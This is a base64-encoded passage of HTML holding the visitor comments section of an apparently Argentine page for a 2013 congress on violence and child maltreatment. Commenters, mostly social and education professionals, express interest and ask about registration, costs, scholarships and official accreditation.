CAgICAgICAgIDx0ZCB3aWR0aD0iNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijg1JSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRyYWJUSVQiPjxmb250IGZhY2U9Ikdlb3JnaWEsIFRpbWVzIE5ldyBSb21hbiwgVGltZXMsIHNlcmlmIj5Db21lbnRhcmlvczwvZm9udD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMSUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAJCQkJCTx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMzAiIGNsYXNzPSJib3JkZWFycmliYSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgYWxpZ249InJpZ2h0IiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz5Ob21icmU6PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYyJSI+PHNwYW4gY2xhc3M9ImNvbnRlbmlkbyI+T2ZlbGlhIERlbCBDYXJtZW4gIE1pbGxhIDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTglIiBjbGFzcz0iZGVzdGFjYWRvcyI+PHN0cm9uZz4wOS8wNi8yMDEzICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPkNvbWVudGFyaW86PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9InRleHRvbnVldm8iPk11eSBJbnRlcmVzYW50ZSBsYSBwcm9wdWVzdGEhISEgcGFydGljaXBlIGRlIGxhIGpvcm5hZGFzIGRlIEFydGVtaWRlcyBlbiBjaXBvbGxldHRpIHlvIHNveSBkZSBBbGxlbiAsQWNvbXBh8WFudGUgVGVyYXDpdXRpY2EgeVByb2Zlc29yYSBFbnNl8WFuemEgUHJpbWFyaWEudHViZSBsYSBvcG9ydHVuaWRhZCBjb25vY2VyIGEgQmVhdHJpeiBNdWxsZXI8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCQk8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjbGFzcz0iYm9yZGVhcnJpYmEiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIGFsaWduPSJyaWdodCIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+Tm9tYnJlOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiUiPjxzcGFuIGNsYXNzPSJjb250ZW5pZG8iPkFkcmlhbmEgY2FybGEgR29ybGVybzwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTglIiBjbGFzcz0iZGVzdGFjYWRvcyI+PHN0cm9uZz4xNS8wNi8yMDEzICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPkNvbWVudGFyaW86PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9InRleHRvbnVldm8iPlNveSB0ZXNpc3RhIGRlIGFudHJvcCBzb2MsIHkgY3JlZSAgdW4gcHJvZ3JhbWEgZGUiQ29udGVuY2lvbiB5IGZvcnRhbGVjaW1pZW50byBwYXJhIHBlcnNvbmFzIGVuIHNpdHVhY2lvbiBkZSB2aW9sZW5jaWEscXVlIHNlIGltcGxlbWVudGEgZGVzZGUgZWwgYfFvIDIwMTEuIFJlY2liZW4gcG9uZW5jaWFzPyBtdWNoYXMgZ3JhY2lhcyA8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCQk8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjbGFzcz0iYm9yZGVhcnJpYmEiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIGFsaWduPSJyaWdodCIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+Tm9tYnJlOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiUiPjxzcGFuIGNsYXNzPSJjb250ZW5pZG8iPkxlb25vcjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTglIiBjbGFzcz0iZGVzdGFjYWRvcyI+PHN0cm9uZz4yNy8wNi8yMDEzICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPkNvbWVudGFyaW86PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9InRleHRvbnVldm8iPkdyYWNpYXMgcG9yIGVzdGUgY29uZ3Jlc28gdGFuIGltcG9ydGFudGUuIENvbW8gZnV0dXJhIFByb2Zlc29yYSBlbiBDcy4gZGUgbGEgRWR1Y2FjafNuIHkgT3BlcmFkb3JhIGVuIFBzLiBTYyBtZSBpbnRlcmVzYSB0cmFiYWphciBlc3RvcyB0ZW1hcy5Fc3Blcm8gY29uIGFuc2lhcyBwb2RlciBhc2lzdGlyIDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KCQkJCQkJCQkJCTx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMzAiIGNsYXNzPSJib3JkZWFycmliYSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgYWxpZ249InJpZ2h0IiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz5Ob21icmU6PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYyJSI+PHNwYW4gY2xhc3M9ImNvbnRlbmlkbyI+RGVuaXNzZTwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTglIiBjbGFzcz0iZGVzdGFjYWRvcyI+PHN0cm9uZz4wNS8wOC8yMDEzICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPkNvbWVudGFyaW86PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9InRleHRvbnVldm8iPr9Db21vIGhhZ28gcGFyYSBpbnNjcmliaXJtZT88L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCQk8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjbGFzcz0iYm9yZGVhcnJpYmEiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIGFsaWduPSJyaWdodCIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+Tm9tYnJlOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiUiPjxzcGFuIGNsYXNzPSJjb250ZW5pZG8iPnNhbmRyYSB2YWxkZXo8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE4JSIgY2xhc3M9ImRlc3RhY2Fkb3MiPjxzdHJvbmc+MjEvMDgvMjAxMyAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz5Db21lbnRhcmlvOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJ0ZXh0b251ZXZvIj5lc3RveSBpbnRlcmVzYWRhIGVuIGNvbm9jZXIgbWFzIGFjZXJjYSBkZSBlc3RhIGpvcm5hZGEuIFByb2dyYW1hLCBwcmVjaW8gZXRjLiBQb2RyaWFuIGVudmlhciBlc3RhIGluZm9ybWFjaW9uLiBEZXNkZSB5YSBtdWhjYXMgZ3JhY2lhcyA8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCQk8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjbGFzcz0iYm9yZGVhcnJpYmEiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIGFsaWduPSJyaWdodCIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+Tm9tYnJlOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiUiPjxzcGFuIGNsYXNzPSJjb250ZW5pZG8iPmdyYWNpZWxhIGxpbGlhbmEga2FlbXBmZm1hbm48L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE4JSIgY2xhc3M9ImRlc3RhY2Fkb3MiPjxzdHJvbmc+MTAvMDkvMjAxMyAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz5Db21lbnRhcmlvOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJ0ZXh0b251ZXZvIj5NZSBpbnRlcmVzYSBlc3RlIENvbmdyZXNvLCB5YSBxdWUgdHJhYmFqbyBjb21vIHRlY25pY2EgZW4gbGEgdW5pZGFkIGVqZWN1dG9yYSBkZSB2aW9sZW5jaWEgZmFtaWxpYXIsIGVuIGxhIGNpdWRhZCBkZSBHZW5lcmFsIFJvY2EsIFLtbyBOZWdybywgcXVpc2llcmEgc2FiZXIgc2kgZXhpc3RlIGFsZ/puIGNvbnZlbmlvIGNvbiBsYSBwcm92aW5jaWEuIDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KCQkJCQkJCQkJCTx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMzAiIGNsYXNzPSJib3JkZWFycmliYSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgYWxpZ249InJpZ2h0IiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz5Ob21icmU6PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYyJSI+PHNwYW4gY2xhc3M9ImNvbnRlbmlkbyI+TWF0aWxkZSBNYW5nZTwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTglIiBjbGFzcz0iZGVzdGFjYWRvcyI+PHN0cm9uZz4xNy8wOS8yMDEzICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPkNvbWVudGFyaW86PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9InRleHRvbnVldm8iPlF1ZSBs4XN0aW1hIHJlY2npbiBtZSBlbnRlcm8uIFlhIGVzIHRhcmRlIHBhcmEgdG9tYXJtZSBsb3MgZO1hcy4gPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgoJCQkJCQkJCQkJPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIzMCIgY2xhc3M9ImJvcmRlYXJyaWJhIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiBhbGlnbj0icmlnaHQiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPk5vbWJyZTo8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjIlIj48c3BhbiBjbGFzcz0iY29udGVuaWRvIj5QYXRyaWNpYSBNYXJ0aW48L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE4JSIgY2xhc3M9ImRlc3RhY2Fkb3MiPjxzdHJvbmc+MjAvMDkvMjAxMyAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz5Db21lbnRhcmlvOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJ0ZXh0b251ZXZvIj5UcmFiYWphbW9zIGVuIGVsIFByb2dyYW1hIFByb3ZpbmNpYWwgZGUgQXRlbmNp824geSBQcmV2ZW5jafNuIGFsIE1hbHRyYXRvIEluZmFudGlsLCBlbiBzZW5kb3MgY2Fzb3MgaGFjZSBt4XMgZGUgZGlleiBh8W9zLiBEZXNlYXLtYW1vcyBzYWJlciBsbyByZWxhdGl2byBhIGJlY2FzLiBHcmFjaWFzPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgoJCQkJCQkJCQkJPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIzMCIgY2xhc3M9ImJvcmRlYXJyaWJhIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiBhbGlnbj0icmlnaHQiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPk5vbWJyZTo8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjIlIj48c3BhbiBjbGFzcz0iY29udGVuaWRvIj5BREVMQSBiZWF0cml6IGtvaGFuPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOCUiIGNsYXNzPSJkZXN0YWNhZG9zIj48c3Ryb25nPjIyLzA5LzIwMTMgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+Q29tZW50YXJpbzo8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0idGV4dG9udWV2byI+dm95IGEgcGFydGljaXBhcixleGNlbGVudGUgcHJvcHVlc3RhPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgoJCQkJCQkJCQkJPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIzMCIgY2xhc3M9ImJvcmRlYXJyaWJhIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiBhbGlnbj0icmlnaHQiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPk5vbWJyZTo8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjIlIj48c3BhbiBjbGFzcz0iY29udGVuaWRvIj5NYXRpbGRlIE1hbmdlPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOCUiIGNsYXNzPSJkZXN0YWNhZG9zIj48c3Ryb25nPjMwLzA5LzIwMTMgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+Q29tZW50YXJpbzo8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0idGV4dG9udWV2byI+v1B1ZWRvIGluc2NyaWJpcm1lIGFsIGxsZWdhcj8gTm8gbWUgaGFuIGNvbnRlc3RhZG8gc2kgbWUgZGFuIGxvcyBk7WFzIHBhcmEgZWwgQ29uZ3Jlc28uIEdyYWNpYXM8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCQk8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjbGFzcz0iYm9yZGVhcnJpYmEiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIGFsaWduPSJyaWdodCIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+Tm9tYnJlOjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiUiPjxzcGFuIGNsYXNzPSJjb250ZW5pZG8iPnNhbmRyYSBwZXJlejwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTglIiBjbGFzcz0iZGVzdGFjYWRvcyI+PHN0cm9uZz4wNC8xMC8yMDEzICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPkNvbWVudGFyaW86PC9zdHJvbmc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9InRleHRvbnVldm8iPnF1aXNpZXJhIHNhYmVyIHNpIGVzdGUgY29uZ3Jlc28gdGllbmUgUmVzb2x1Y2lvbiBkZWwgbWluaXN0ZXJpbyBkZSBlZHVjYWNpb24gZGUgbGEgUHJvdi4gZGUgQnVlbm9zIEFpcmVzIFNpIGVzIGFzaSBzb2xpY2l0byBzaSBwdWVkZW4gZW52aWFybWUgZWwgbnJvLkdyYWNpYXM8YnIgLz4NCjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KCQkJCQkJCQkJCTx0cj4KCQkJCQkgIDx0ZD4mbmJzcDs8L3RkPgoJCQkJCSAgPHRkIGhlaWdodD0iMzAiIGNsYXNzPSJib3JkZWFycmliYSI+Jm5ic3A7PC90ZD4KCQkJCQkgIDx0ZD4mbmJzcDs8L3RkPgoJCQkJICAgIDwvdHI+CgkJCQkJPHRyPgoJCQkJCSAgPHRkPiZuYnNwOzwvdGQ+CgkJCQkJICA8dGQgaGVpZ2h0PSIzMCIgPjxzcGFuIGNsYXNzPSJ0cmFiVElUIj48Zm9udCBmYWNlPSJHZW9yZ2lhLCBUaW1lcyBOZXcgUm9tYW4sIFRpbWVzLCBzZXJpZiIgPkNvbWVudGFyaW9zPC9mb250Pjwvc3Bhbj48L3RkPgoJCQkJCSAgPHRkPiZuYnNwOzwvdGQ+CgkJCQkgICAgPC90cj4KCQkJCQk8dHI+CgkJCQkJICA8dGQ+Jm5ic3A7PC90ZD4KCQkJCQkgIDx0ZCBoZWlnaHQ9IjMwIiBjbGFzcz0iYm9yZGVhcnJpYmEiPjxzdHJvbmc+JmJ1bGw7PHNwYW4gY2xhc3M9ImNvbnRlbmlkb2hvbWUiPkluZ3Jlc2UKCQkJICAgICAgICBzdXMgZGF0b3MgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC